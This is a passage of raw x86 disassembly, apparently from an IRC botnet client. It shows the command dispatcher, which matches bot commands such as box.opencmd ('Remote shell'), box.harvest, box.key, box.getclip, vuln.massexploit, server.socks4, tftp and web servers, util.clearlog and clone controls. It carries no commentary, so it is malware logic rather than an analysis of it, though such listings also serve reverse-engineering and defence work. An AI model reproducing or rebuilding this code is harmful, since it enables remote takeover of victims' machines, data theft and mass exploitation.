		test	eax, eax
		pop	ecx
		jnz	loc_41298E

loc_40D9AA:				; CODE XREF: sub_40CE55+B39j
		cmp	[ebp+arg_28], ebx
		jnz	loc_41298E
		xor	edi, edi
		cmp	dword_42E7B8, ebx
		jle	loc_40DB56
		mov	[ebp+arg_20], offset dword_43E7C8

loc_40D9C8:				; CODE XREF: sub_40CE55+B92j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9EE
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42E7B8
		jl	short loc_40D9C8
		jmp	loc_40DB56
; ---------------------------------------------------------------------------

loc_40D9EE:				; CODE XREF: sub_40CE55+B82j
		push	offset asc_4365AC ; " :"
		push	[ebp+arg_0]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		mov	cl, byte_42C19C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42C19C
		mov	[eax+3], cl
		lea	ecx, dword_43E7E0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416D40
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40DA43:				; CODE XREF: sub_40CE55+C96j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DAAF
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40DAAF
		lea	eax, dword_43E7C8[edi]
		push	eax
		call	sub_415CF0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40DAE1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DAE1
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 0Ch
		jmp	short loc_40DAE1
; ---------------------------------------------------------------------------

loc_40DAAF:				; CODE XREF: sub_40CE55+C16j
					; sub_40CE55+C1Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40DAE1
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 18h

loc_40DAE1:				; CODE XREF: sub_40CE55+C2Fj
					; sub_40CE55+C43j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40DA43
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40DAFE:				; CODE XREF: sub_40CE55+CF5j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DB41
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40DB41
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 0Ch

loc_40DB41:				; CODE XREF: sub_40CE55+CD1j
					; sub_40CE55+CD7j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40DAFE
		mov	[ebp+var_C8], 1

loc_40DB56:				; CODE XREF: sub_40CE55+B66j
					; sub_40CE55+B94j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42C19C
		jz	short loc_40DB6F
		cmp	[ebp+var_C8], ebx
		jz	loc_40DD54

loc_40DB6F:				; CODE XREF: sub_40CE55+D0Cj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_4099AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_4099AA
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4099AA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_414433
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4099AA
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_4099AA
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h

loc_40DBE1:				; CODE XREF: sub_40CE55+E78j
		test	eax, eax
		jz	loc_40DCD2
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_A4]
		push	offset asc_4361E4 ; ")"
		push	eax
		call	sub_416C98
		add	esp, 1Ch
		cmp	[ebp+var_A4], 30h
		jl	short loc_40DC2D
		cmp	[ebp+var_A4], 39h
		jle	short loc_40DC43

loc_40DC2D:				; CODE XREF: sub_40CE55+DCDj
		push	3
		lea	eax, [ebp+var_A4]
		push	offset a63	; "63"
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40DC43:				; CODE XREF: sub_40CE55+DD6j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	short loc_40DC66
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40DC77
; ---------------------------------------------------------------------------

loc_40DC66:				; CODE XREF: sub_40CE55+DFDj
		call	sub_415543
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40DC77:				; CODE XREF: sub_40CE55+E0Fj
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_415CF0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A4]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 30h
		jmp	loc_40DBE1
; ---------------------------------------------------------------------------

loc_40DCD2:				; CODE XREF: sub_40CE55+D8Ej
		mov	edi, 1FFh
		lea	eax, [ebp+var_F9C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_F9C]
		push	edi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_119C]
		push	offset asc_426A00 ; " "
		push	eax
		call	sub_416C98
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh

loc_40DD22:				; CODE XREF: sub_40CE55+EE2j
		push	offset asc_426A00 ; " "
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40DD22
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40D219
		add	ecx, 3
		mov	[eax], ecx

loc_40DD54:				; CODE XREF: sub_40CE55+D14j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412941
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412941
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41291F
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41291F
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287D
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287D
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41285F
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41285F
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412628
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412628
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEC4
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_436114

loc_40DEA8:				; CODE XREF: sub_40CE55+1093j
					; sub_40CE55+10B9j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_415221
		add	esp, 20h
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40DEC4:				; CODE XREF: sub_40CE55+103Ej
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEEA
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_4360F0
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DEEA:				; CODE XREF: sub_40CE55+107Ej
		push	edi
		push	offset dword_4360E0
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF10
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_4360D4
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF10:				; CODE XREF: sub_40CE55+10A4j
		push	edi
		push	offset dword_4360CC
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF39
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_4360C0
		push	offset dword_4360B4
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF39:				; CODE XREF: sub_40CE55+10CAj
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF62
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_436090
		push	offset dword_436080
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF62:				; CODE XREF: sub_40CE55+10F3j
		push	edi
		push	offset dword_436074
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF8B
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_436068
		push	offset dword_43605C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF8B:				; CODE XREF: sub_40CE55+111Cj
		push	edi
		push	offset dword_43604C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFB4
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_436040
		push	offset dword_436034
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DFB4:				; CODE XREF: sub_40CE55+1145j
		push	edi
		push	offset dword_436024
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFDD
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_436018
		push	offset dword_43600C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DFDD:				; CODE XREF: sub_40CE55+116Ej
		push	edi
		push	offset dword_435FFC
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E006
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_435FF0
		push	offset dword_435FE4
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E006:				; CODE XREF: sub_40CE55+1197j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E02F
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_435FC8
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E02F:				; CODE XREF: sub_40CE55+11C0j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412610
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412610
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F8
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F8
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0AC
		push	[ebp+esi+var_90]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_435F68
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E0AC:				; CODE XREF: sub_40CE55+123Dj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0D5
		push	[ebp+esi+var_90]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_435F40
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E0D5:				; CODE XREF: sub_40CE55+1266j
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0FE
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E0FE:				; CODE XREF: sub_40CE55+128Fj
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E2
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E2
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C1
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C1
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259F
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259F
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412557
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412557
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412519
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412519
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E2
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E2
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E24C
		call	sub_409DF3
		test	eax, eax
		mov	eax, offset dword_435E64
		jnz	short loc_40E21E
		mov	eax, offset dword_435E2C

loc_40E21E:				; CODE XREF: sub_40CE55+13C2j
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 1Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_40E24C:				; CODE XREF: sub_40CE55+13B4j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F1
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F1
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D1
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D1
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E1
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E1
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C8
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C8
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412291
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412291
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412266
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412266
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222C
		push	edi
		push	offset aEnz_b3g	; "enz.b3g"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222C
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412123
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412123
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120F9
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120F9
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412075
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412075
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412058
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412058
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203F
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203F
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FF8
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FF8
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E497
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E497:				; CODE XREF: sub_40CE55+1628j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E524
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E4C7
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_40E4C7:				; CODE XREF: sub_40CE55+1656j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40E4CC:				; CODE XREF: sub_40CE55+16BDj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E4D8
		mov	eax, offset aEmpty ; "<Empty>"

loc_40E4D8:				; CODE XREF: sub_40CE55+167Cj
		push	eax
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E4CC
		push	offset dword_435C8C

loc_40E519:				; CODE XREF: sub_40CE55+5688j
		call	sub_40B16D
		pop	ecx
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_40E524:				; CODE XREF: sub_40CE55+1651j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB7
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB7
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8C
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8C
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F68
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F68
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2B
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2B
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D91
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D91
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C53
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C53
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411958
		push	edi
		push	offset aVall	; "vall"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411958
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193F
		push	[ebp+arg_8]
		push	offset aEnz_n	; "enz.n"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193F
		push	[ebp+arg_8]
		push	offset aEnz_join ; "enz.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191F
		push	[ebp+arg_8]
		push	offset aEnz_j	; "enz.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191F
		push	[ebp+arg_8]
		push	offset aEnz_part ; "enz.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411906
		push	[ebp+arg_8]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411906
		push	[ebp+arg_8]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CF
		push	[ebp+arg_8]
		push	offset aEnz_r	; "enz.r"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180C
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180C
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411761
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411761
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411716
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411716
		push	[ebp+arg_8]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411701
		push	[ebp+arg_8]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411701
		push	[ebp+arg_8]
		push	offset aBox_open ; "box.open"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D7
		push	[ebp+arg_8]
		push	offset aBox_o	; "box.o"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D7
		push	[ebp+arg_8]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B2
		push	[ebp+arg_8]
		push	offset aEnz_se	; "enz.se"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B2
		push	[ebp+arg_8]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411650
		push	[ebp+arg_8]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411650
		push	[ebp+arg_8]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411624
		push	[ebp+arg_8]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
